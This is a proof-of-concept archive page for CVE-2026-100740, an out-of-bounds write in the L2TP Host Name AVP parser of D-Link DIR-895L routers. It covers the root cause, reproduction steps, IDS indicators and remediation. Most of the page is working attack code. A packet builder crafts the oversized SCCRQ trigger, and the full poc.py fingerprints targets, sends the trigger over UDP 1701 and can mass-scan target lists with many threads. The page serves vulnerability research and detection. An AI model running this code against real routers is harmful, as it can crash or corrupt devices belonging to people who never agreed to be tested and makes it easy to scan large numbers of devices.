PoC Archive PoC Archive
CVE-2026-100740 category: network CVSS 9.9 (CRITICAL)
Unpatched

D-Link DIR-895L L2TP Host Name AVP Out-of-Bounds Write (CVE-2026-100740)

Published: 2026-11-25 • Researcher: murrez (GitHub repository / PoCbit packaging); tzh00203 (original Notion research write-up); VulDB (advisory, CNA)

Target software D-Link DIR-895L wireless router, L2TP control channel parser, tunnel set params function in tunnel.c
Affected versions Firmware A1 revision 102b07 (the only version named in the NVD/VulDB description). NVD lists no structured product or version ranges for this CVE — See references.
Status PoC
Severity Critical · CVSS 9.9
CVSS 9.9/10
Severity
Critical
CVE
CVE-2026-100740 (VulDB 410614; VulDB submission 906303)
Category
network
Affected product
D-Link DIR-895L wireless router, L2TP control channel parser, tunnel set params function in tunnel.c
Affected versions
Firmware A1 revision 102b07 (the only version named in the NVD/VulDB description). NVD lists no structured product or version ranges for this CVE — See references.
Disclosed
2026-11-25
Patch status
Unpatched
On this page

Metadata

FieldValue
Date Added2026-11-25
Last Updated2026-09-27
Author / Researchermurrez (GitHub repository / PoCbit packaging); tzh00203 (original Notion research write-up); VulDB (advisory, CNA)
CVE / AdvisoryCVE-2026-100740 (VulDB 410614; VulDB submission 906303)
Categorynetwork
SeverityCritical
CVSS Score9.9 (NVD/VulDB base score; the feed supplies no vector string). VulDB describes its CVSS 4.0 assessment as network reachable, PR:L, high impact — See references.
StatusPoC
Tagsdlink, dir-895l, router, l2tp, udp-1701, oob-write, cwe-787, firmware, remote, iot
RelatedN/A

Affected Target

FieldValue
Software / SystemD-Link DIR-895L wireless router, L2TP control channel parser, tunnel set params function in tunnel.c
Versions AffectedFirmware A1 revision 102b07 (the only version named in the NVD/VulDB description). NVD lists no structured product or version ranges for this CVE — See references.
Language / PlatformC (embedded router firmware; architecture not specified in the sources); PoC is Python 3.x using requests and urllib3
Authentication RequiredNo
Network Access RequiredYes (UDP port 1701; the device must process L2TP control messages, typically L2TP WAN/client mode toward an ISP or upstream L2TP server)

Summary

CVE-2026-100740 is a remote out-of-bounds write in the L2TP control channel parser of D-Link DIR-895L firmware build 102b07 (A1 revision). The tunnel set params function copies a Host Name AVP into a fixed 128-byte peer hostname buffer but writes the terminating NUL at index length plus one, so a 127-byte value writes one byte past the end of the buffer and can corrupt adjacent memory. The flaw is reachable over UDP port 1701 by any party that can deliver L2TP control messages while the router acts as an L2TP client, which in practice means a malicious or spoofed upstream L2TP server. The public PoC fingerprints the device and can send a crafted SCCRQ carrying the oversized Host Name AVP, but it stops at memory corruption and does not ship a full code execution chain.

Vulnerability Details

Root Cause

The L2TP control channel parser in tunnel.c handles the Host Name AVP (attribute type 7) while establishing a tunnel. The value is stored in a fixed 128-byte peer hostname buffer, and the parser clamps the incoming AVP payload to 127 bytes to reserve space for a NUL terminator. The terminator is then written at peer_hostname[len + 1] instead of peer_hostname[len], so a maximum-length 127-byte value places the NUL at index 128, one byte past the end of the array (CWE-787 out-of-bounds write, also classified CWE-119). The corruption is a single NUL byte beyond the 128-byte object and lands on whatever structure follows the buffer in the parser’s allocation.

Attack Vector

Remote, over UDP port 1701. The attacker sends an L2TP control message (SCCRQ) containing a Message Type AVP (type 0) set to 1 and a Host Name AVP (type 7) whose value is 127 bytes long. The device only processes the packet when it is participating in L2TP, normally as a WAN client connecting to an ISP or upstream L2TP server; a malicious or spoofed upstream peer, or anyone who can inject UDP/1701 traffic into that path, can deliver the trigger. The provided PoC only sends the trigger packet: it fingerprints the model over HTTP, checks that UDP 1701 is reachable, and then transmits the crafted SCCRQ.

Impact

Memory corruption in the L2TP control daemon. On the reference hardware the immediate consequence is a crash/reboot or a dropped tunnel (denial of service); depending on heap layout and which adjacent structure is overwritten, the single-byte NUL can potentially be leveraged further, but the public material does not demonstrate code execution or a controlled write. NVD/VulDB score the issue 9.9 because of the network reachability and high confidentiality/integrity/availability weighting, not because a working RCE chain is public.

Environment / Lab Setup

Output
OS:          Attacker: Linux (Python 3.8+); target: isolated lab VLAN with no
             production uplink.
Target:      D-Link DIR-895L, firmware A1 revision 102b07, configured in L2TP
             WAN/client mode against a lab-controlled L2TP peer.
Attacker:    Same lab segment or a host able to inject UDP/1701 traffic
             toward the router's WAN path.
Tools:       Python 3, requests, urllib3, tcpdump, a lab L2TP peer or
             packet-injection setup, serial console for crash observation.

Setup Steps

Shell script
1
2
3
4
5
6
7
8
9
pip install -r requirements.txt

python3 poc.py -u 192.168.0.1 --mode check

python3 poc.py -u 192.168.0.1 --mode check --l2tp-probe

python3 poc.py -u 192.168.0.1 --mode exploit --oob-send

python3 poc.py --list targets.example.txt --mode check -j 20

Proof of Concept

Step-by-Step Reproduction

  1. Fingerprint the device — the script GETs /, /Login.html, /login.html, /index.asp and /info/Login.html and looks for DIR-895L and D-Link markers plus an A1_102b07 firmware string.
    Shell script
    1
    
    python3 poc.py -u 192.168.0.1 --mode check
  2. Confirm UDP 1701 is reachable — sends a one-byte UDP datagram and reports whether the port answers. The parser is only reachable when L2TP is enabled.
    Shell script
    1
    
    python3 poc.py -u 192.168.0.1 --mode check --l2tp-probe
  3. Build the trigger — the script assembles an SCCRQ control packet: Message Type AVP (type 0) = 1, then a Host Name AVP (type 7) carrying 127 H bytes, with control flags 0xC802 and version 2.
  4. Send the trigger — in exploit mode with --oob-send, the packet is transmitted to UDP 1701 and the script records the sent byte count plus the packet hex. Without --oob-send the script refuses to send anything.
    Shell script
    1
    
    python3 poc.py -u 192.168.0.1 --mode exploit --oob-send
  5. Observe the target — on an isolated DIR-895L, watch for a crash, reboot, tunnel teardown or serial-console fault. The PoC has no crash oracle, so success must be confirmed out of band on the device.

Exploit Code

See poc.py in this folder; the upstream README is upstream-README.md.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import struct

def avp(attr_type, value):
    val = value.encode() if isinstance(value, str) else value
    total = 6 + len(val)
    pad = b""
    if total % 2:
        pad, total = b"\x00", total + 1
    return struct.pack("!HHH", 0x8000 | total, 0, attr_type) + val + pad

avps  = avp(0, 1)              # Message Type = SCCRQ
avps += avp(7, b"H" * 127)     # Host Name AVP, maximal 127-byte value
header = struct.pack("!HHHHHH", 0xC802, 12 + len(avps), 0, 0, 0, 1)
packet = header + avps         # send to UDP 1701

Expected Output

JSON
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
{
  "target": "https://192.168.0.1",
  "host": "192.168.0.1",
  "mode": "exploit",
  "device": true,
  "model": "DIR-895L",
  "firmware": "A1_102b07",
  "vulnerable_firmware": true,
  "l2tp_udp": {"open": true, "response": false},
  "packet_hex": "c802009a00000000000000018008000000000001808600000007...",
  "l2tp_send": {"sent_bytes": 154, "response": false, "timeout": true},
  "status": "oob_packet_sent",
  "exploited": true,
  "impact_note": "Memory corruption / possible DoS or RCE; verify on isolated DIR-895L A1_102b07."
}

exploited only means the datagram was sent, not that the device was compromised. The exact packet length and hex vary with the AVP encoding.

Detection & Indicators of Compromise

  • Inbound UDP/1701 control traffic from an address that is not the configured L2TP peer, especially SCCRQ messages whose Host Name AVP (type 7) carries a 127-byte value (AVP length field 134 / 0x86 with the mandatory bit set).
  • L2TP tunnel flaps, authentication retries, or the L2TP daemon restarting immediately after an unsolicited SCCRQ.
  • Router crashes, spontaneous reboots, kernel oops or watchdog resets on a device with L2TP enabled; serial console output naming the tunnel setup path.
  • HTTP requests to /Login.html, /index.asp or /info/Login.html from a host that then sends UDP/1701 traffic — the PoC performs this fingerprint step before the trigger.
  • Requests carrying the PoCbit user-agent string, which embeds PoCbit (+https://pocbit.org).

SIEM / IDS rule (example):

Output
1
2
alert udp any any -> any 1701 (msg:"Possible CVE-2026-100740 L2TP Host Name AVP OOB trigger"; \
  content:"|80 86 00 00 00 07|"; offset:12; depth:22; sid:9000740;)

Treat the rule as a starting point: validate the AVP encoding against your L2TP implementation before enabling it in production.

Remediation

ActionDetail
PatchNo fixed firmware version is listed in NVD/VulDB at publication. Check the D-Link DIR-895L support page and the VulDB entry for a current advisory; if the model is end-of-life and no fix is published, replacement is the durable fix.
WorkaroundDisable L2TP WAN/client mode when it is not required. Where it is required, restrict UDP 1701 to the known L2TP peer and drop unsolicited control messages from any other source.
Config HardeningKeep the router behind a firewall that only permits the expected L2TP peer, disable remote administration, monitor for UDP/1701 anomalies and router reboots, and isolate the device on its own segment.

References

Notes

Auto-ingested from https://github.com/murrez/CVE-2026-100740 on 2026-11-25.

Review verdict: this is a real but limited PoC. The --oob-send path constructs and transmits the actual L2TP SCCRQ with a 127-byte Host Name AVP, which is the memory-corruption trigger — so it is not a pure detector. It also includes scanning conveniences (target list, thread pool, JSONL output) and an HTTP fingerprint step, and the README itself states that it does not ship a full RCE chain. There is no crash oracle: the exploited flag only records that the packet was sent, so impact must be confirmed out of band on the device, and reproduction requires the router to be running L2TP in a role where it parses the attacker’s control messages.

License: MIT (Copyright (c) 2026 yoyo), retained as LICENSE. Archived files: poc.py, requirements.txt, targets.example.txt, the upstream README and the license; the repository’s .gitignore and git history were not copied. The upstream commit is dated 2026-09-27 (“Add files via upload”). Running --mode exploit --oob-send can crash the router — use an isolated lab unit only, never a production uplink.

poc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# Archived for authorized security research only.
# Source: https://github.com/murrez/CVE-2026-100740 (see README for attribution/license)
"""
CVE-2026-100740 — D-Link DIR-895L firmware A1_102b07
Out-of-bounds write in L2TP control parser (tunnel_set_params / Host Name AVP).
One-byte OOB NUL when AVP length is 127 (peer_hostname[128]). CWE-787.

Requires L2TP WAN role / exposed UDP 1701. Remote; VulDB PR:L.

PoC page: https://pocbit.org/pocs/cve-2026-100740
"""

from __future__ import annotations

CVE_ID = "CVE-2026-100740"
POC_TITLE = "D-Link DIR-895L L2TP Host Name AVP OOB write"

POCBIT_HOME = "https://pocbit.org"
POCBIT_CATALOG = f"{POCBIT_HOME}/pocs/"
POCBIT_PAGE = f"{POCBIT_HOME}/pocs/{CVE_ID.lower()}"

import argparse
import json
import re
import socket
import struct
import sys
import threading
import time
from concurrent.futures import FIRST_COMPLETED, ThreadPoolExecutor, wait
from urllib.parse import urljoin, urlparse

try:
    import urllib3
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
except Exception:
    pass

import requests
from requests.adapters import HTTPAdapter

UA = (
    "Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
    "AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 "
    f"PoCbit (+{POCBIT_HOME})"
)

L2TP_UDP_PORT = 1701
VULN_FW_MARKERS = (
    "A1_102b07",
    "102b07",
)
MODEL_MARKERS = (
    "dir-895l",
    "dir_895l",
    "DIR-895L",
)
HTTP_PATHS = (
    "/",
    "/Login.html",
    "/login.html",
    "/index.asp",
    "/info/Login.html",
)

print_lock = threading.Lock()


def print_front(quiet=False):
    if quiet:
        return
    log("=" * 54)
    log(f"  PoCbit  {POCBIT_PAGE}")
    log(f"  {CVE_ID}  {POC_TITLE}")
    log("=" * 54)


def _finish_row(row):
    out = dict(row)
    out["pocbit"] = POCBIT_HOME
    out["pocbit_catalog"] = POCBIT_CATALOG
    out["pocbit_page"] = POCBIT_PAGE
    out["cve"] = CVE_ID
    return out


def log(msg):
    with print_lock:
        print(msg, flush=True)


def mk_session(timeout, proxy=None):
    s = requests.Session()
    s.headers.update({"User-Agent": UA})
    adapter = HTTPAdapter(max_retries=0, pool_connections=25, pool_maxsize=25)
    s.mount("http://", adapter)
    s.mount("https://", adapter)
    if proxy:
        s.proxies.update({"http": proxy, "https": proxy})
    s.verify = False
    s.request_timeout = timeout
    return s


def get(s, url, **kw):
    kw.setdefault("timeout", s.request_timeout)
    kw.setdefault("verify", False)
    kw.setdefault("allow_redirects", True)
    return s.get(url, **kw)


def normalize_target(raw):
    raw = (raw or "").strip()
    if not raw or raw.startswith("#"):
        return None, None
    host = raw
    scheme = "https"
    if "://" in raw:
        p = urlparse(raw)
        if not p.netloc:
            return None, None
        scheme = p.scheme if p.scheme in ("http", "https") else "https"
        host = p.hostname or p.netloc
    else:
        host = raw.split("/")[0].split(":")[0]
    if not host:
        return None, None
    base = "%s://%s" % (scheme, host)
    return host, base


def parse_firmware(text):
    if not text:
        return None
    m = re.search(r"A1[_-]?(\d+[a-z]\d+)", text, re.I)
    if m:
        return "A1_" + m.group(1).lower()
    m = re.search(r"(\d{3}b\d{2})", text, re.I)
    if m:
        return "A1_" + m.group(1).lower()
    return None


def firmware_vulnerable(fw_str):
    if not fw_str:
        return None
    low = fw_str.lower()
    if "102b07" in low or low == "a1_102b07":
        return True
    return False


def detect_router(s, base, timeout):
    row = {
        "device": False,
        "model": None,
        "firmware": None,
        "vulnerable_firmware": None,
        "http_hits": [],
    }
    bodies = []
    for path in HTTP_PATHS:
        url = urljoin(base + "/", path.lstrip("/"))
        try:
            r = get(s, url, timeout=timeout)
        except requests.RequestException:
            continue
        if r.status_code >= 500:
            continue
        body = r.text or ""
        low = body.lower()
        if any(m.lower() in low for m in MODEL_MARKERS) or "d-link" in low:
            row["http_hits"].append(url)
            bodies.append(body)
            if any(m in body for m in MODEL_MARKERS):
                row["model"] = "DIR-895L"
            row["device"] = True
    for body in bodies:
        fw = parse_firmware(body)
        if fw:
            row["firmware"] = fw
            row["vulnerable_firmware"] = firmware_vulnerable(fw)
            break
    if row["device"] and row["firmware"] is None:
        for m in VULN_FW_MARKERS:
            if any(m.lower() in (b or "").lower() for b in bodies):
                row["firmware"] = "A1_102b07 (hint)"
                row["vulnerable_firmware"] = True
                break
    return row


def udp_port_open(host, port, timeout):
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(timeout)
    try:
        sock.sendto(b"\x00", (host, port))
        try:
            sock.recvfrom(512)
            return {"open": True, "response": True}
        except socket.timeout:
            return {"open": True, "response": False}
        except OSError:
            return {"open": True, "response": False}
    except OSError as e:
        return {"open": False, "error": str(e)}
    finally:
        sock.close()


def build_avp(attr_type, value, mandatory=True):
    if isinstance(value, int):
        val = struct.pack("!H", value)
    elif isinstance(value, bytes):
        val = value
    else:
        val = value.encode("latin-1", errors="replace")
    total_len = 6 + len(val)
    pad = b""
    if total_len % 2:
        pad = b"\x00"
        total_len += 1
    m_bit = 0x8000 if mandatory else 0
    word0 = m_bit | (total_len & 0x03FF)
    return struct.pack("!HHH", word0, 0, attr_type) + val + pad


def build_l2tp_oob_hostname_packet():
    """SCCRQ with Host Name AVP length 127 (triggers peer_hostname[len+1] write)."""
    avps = b""
    avps += build_avp(0, 1)  # Message Type: SCCRQ
    avps += build_avp(7, b"H" * 127)  # Host Name AVP
    length = 12 + len(avps)
    flags = 0xC802  # control, length, seq, ver=2
    hdr = struct.pack("!HHHHHH", flags, length, 0, 0, 0, 1)
    return hdr + avps


def send_l2tp_probe(host, timeout, payload=None):
    payload = payload or build_l2tp_oob_hostname_packet()
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    sock.settimeout(timeout)
    try:
        sock.sendto(payload, (host, L2TP_UDP_PORT))
        try:
            data, addr = sock.recvfrom(4096)
            return {
                "sent_bytes": len(payload),
                "response": True,
                "response_bytes": len(data),
                "from": "%s:%s" % addr,
            }
        except socket.timeout:
            return {"sent_bytes": len(payload), "response": False, "timeout": True}
    except OSError as e:
        return {"error": str(e)}
    finally:
        sock.close()


def check_target(raw, timeout, proxy, l2tp_probe):
    host, base = normalize_target(raw)
    row = _finish_row({"target": base or raw, "host": host, "mode": "check"})
    if not host:
        row["error"] = "invalid_target"
        return row

    s = mk_session(timeout, proxy)
    det = detect_router(s, base, timeout)
    row.update(det)

    udp = udp_port_open(host, L2TP_UDP_PORT, min(timeout, 4))
    row["l2tp_udp"] = udp

    if l2tp_probe and udp.get("open"):
        row["l2tp_packet_probe"] = send_l2tp_probe(host, min(timeout, 6))

    if det.get("vulnerable_firmware") is True:
        row["status"] = "vulnerable_firmware_a1_102b07"
        row["exploitable_candidate"] = True
    elif det.get("device") and udp.get("open"):
        row["status"] = "dir895l_or_dlink_l2tp_open"
        row["exploitable_candidate"] = True
    elif det.get("device"):
        row["status"] = "dlink_device_no_l2tp_udp"
        row["exploitable_candidate"] = False
    else:
        row["status"] = "not_dir895l"
        row["exploitable_candidate"] = False

    row["note"] = (
        "OOB trigger needs L2TP WAN/upstream peer context; use --mode exploit --oob-send on lab only."
    )
    return row


def exploit_target(raw, timeout, proxy, oob_send):
    host, base = normalize_target(raw)
    row = _finish_row({"target": base or raw, "host": host, "mode": "exploit"})
    if not host:
        row["error"] = "invalid_target"
        return row

    s = mk_session(timeout, proxy)
    det = detect_router(s, base, timeout)
    row.update(det)
    udp = udp_port_open(host, L2TP_UDP_PORT, min(timeout, 4))
    row["l2tp_udp"] = udp

    if not udp.get("open"):
        row["error"] = "l2tp_udp_closed"
        row["status"] = "exploit_failed"
        return row

    if not oob_send:
        row["error"] = "need --oob-send for crafted Host Name AVP (authorized lab)"
        row["status"] = "exploit_failed"
        return row

    pkt = build_l2tp_oob_hostname_packet()
    row["packet_hex"] = pkt.hex()
    row["l2tp_send"] = send_l2tp_probe(host, timeout, pkt)
    row["status"] = "oob_packet_sent"
    row["exploited"] = row["l2tp_send"].get("sent_bytes", 0) > 0
    row["impact_note"] = "Memory corruption / possible DoS or RCE; verify on isolated DIR-895L A1_102b07."
    return row


def load_targets(path):
    items = []
    seen = set()
    with open(path, "r", encoding="utf-8-sig", errors="replace") as f:
        for line in f:
            line = line.strip().lstrip("\ufeff")
            if not line or line.startswith("#"):
                continue
            host, base = normalize_target(re.split(r"[\t|]", line, maxsplit=1)[0].strip())
            key = base or line
            if key and key not in seen:
                seen.add(key)
                items.append(line.split()[0])
    return items


def run_mass(args):
    targets = load_targets(args.list)
    stats = {"done": 0, "hits": 0, "total": len(targets)}
    start = time.time()
    out_f = open(args.output, "w", encoding="utf-8")
    hit_f = open(args.vuln_list, "w", encoding="utf-8")

    def worker(t):
        if args.mode == "exploit":
            return exploit_target(t, args.timeout, args.proxy, args.oob_send)
        return check_target(t, args.timeout, args.proxy, args.l2tp_probe)

    window = max(4, args.threads * 2)
    with ThreadPoolExecutor(max_workers=args.threads) as ex:
        futures = {}
        gen = iter(targets)
        try:
            while True:
                while len(futures) < window:
                    try:
                        futures[ex.submit(worker, next(gen))] = True
                    except StopIteration:
                        break
                if not futures:
                    break
                done_set, _ = wait(futures, return_when=FIRST_COMPLETED)
                for fut in done_set:
                    futures.pop(fut)
                    row = fut.result()
                    stats["done"] += 1
                    out_f.write(json.dumps(row, ensure_ascii=True, default=str) + "\n")
                    out_f.flush()
                    ok = row.get("exploitable_candidate") or row.get("exploited")
                    if ok:
                        stats["hits"] += 1
                        hit_f.write("%s\t%s\n" % (row.get("target"), row.get("status")))
                        hit_f.flush()
                    if not args.quiet:
                        log("[+] %s | %s" % (row.get("target"), row.get("status")))
        except KeyboardInterrupt:
            log("[!] interrupted")

    out_f.close()
    hit_f.close()
    log("[*] done %.0fs | %d/%d | hits=%d" % (
        time.time() - start, stats["done"], stats["total"], stats["hits"],
    ))


def main():
    p = argparse.ArgumentParser(
        description="%s - %s | %s" % (CVE_ID, POC_TITLE, POCBIT_PAGE),
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog=(
            "PoC page: %s\n\n"
            "Examples:\n"
            "  python poc.py -u 192.168.0.1 --mode check\n"
            "  python poc.py -u 192.168.0.1 --mode check --l2tp-probe\n"
            "  python poc.py -u 192.168.0.1 --mode exploit --oob-send\n"
            "  python poc.py --list targets.txt --mode check -j 20\n"
        ) % POCBIT_PAGE,
    )
    p.add_argument("-u", "--url", help="router IP or URL")
    p.add_argument("--list", help="targets file")
    p.add_argument("--mode", choices=["check", "exploit"], default="check")
    p.add_argument("--l2tp-probe", action="store_true", help="send minimal UDP probe to 1701")
    p.add_argument("--oob-send", action="store_true", help="send Host Name AVP len=127 trigger (lab)")
    p.add_argument("--threads", "-j", type=int, default=16)
    p.add_argument("--timeout", type=int, default=12)
    p.add_argument("--proxy", default=None)
    p.add_argument("--output", default="cve_2026_100740_results.jsonl")
    p.add_argument("--vuln-list", default="hits.txt")
    p.add_argument("--quiet", "-q", action="store_true")
    args = p.parse_args()

    if not args.url and not args.list:
        p.error("need -u URL or --list FILE")

    print_front(quiet=args.quiet)

    if args.list:
        run_mass(args)
        return

    if args.mode == "check":
        row = check_target(args.url, args.timeout, args.proxy, args.l2tp_probe)
    else:
        row = exploit_target(args.url, args.timeout, args.proxy, args.oob_send)

    if not args.quiet:
        log("[*] %s | %s" % (row.get("target"), row.get("status")))
    print(json.dumps(row, ensure_ascii=True, indent=2, default=str))

    if args.mode == "exploit":
        sys.exit(0 if row.get("exploited") else 1)
    sys.exit(0 if row.get("exploitable_candidate") else 1)


if __name__ == "__main__":
    main()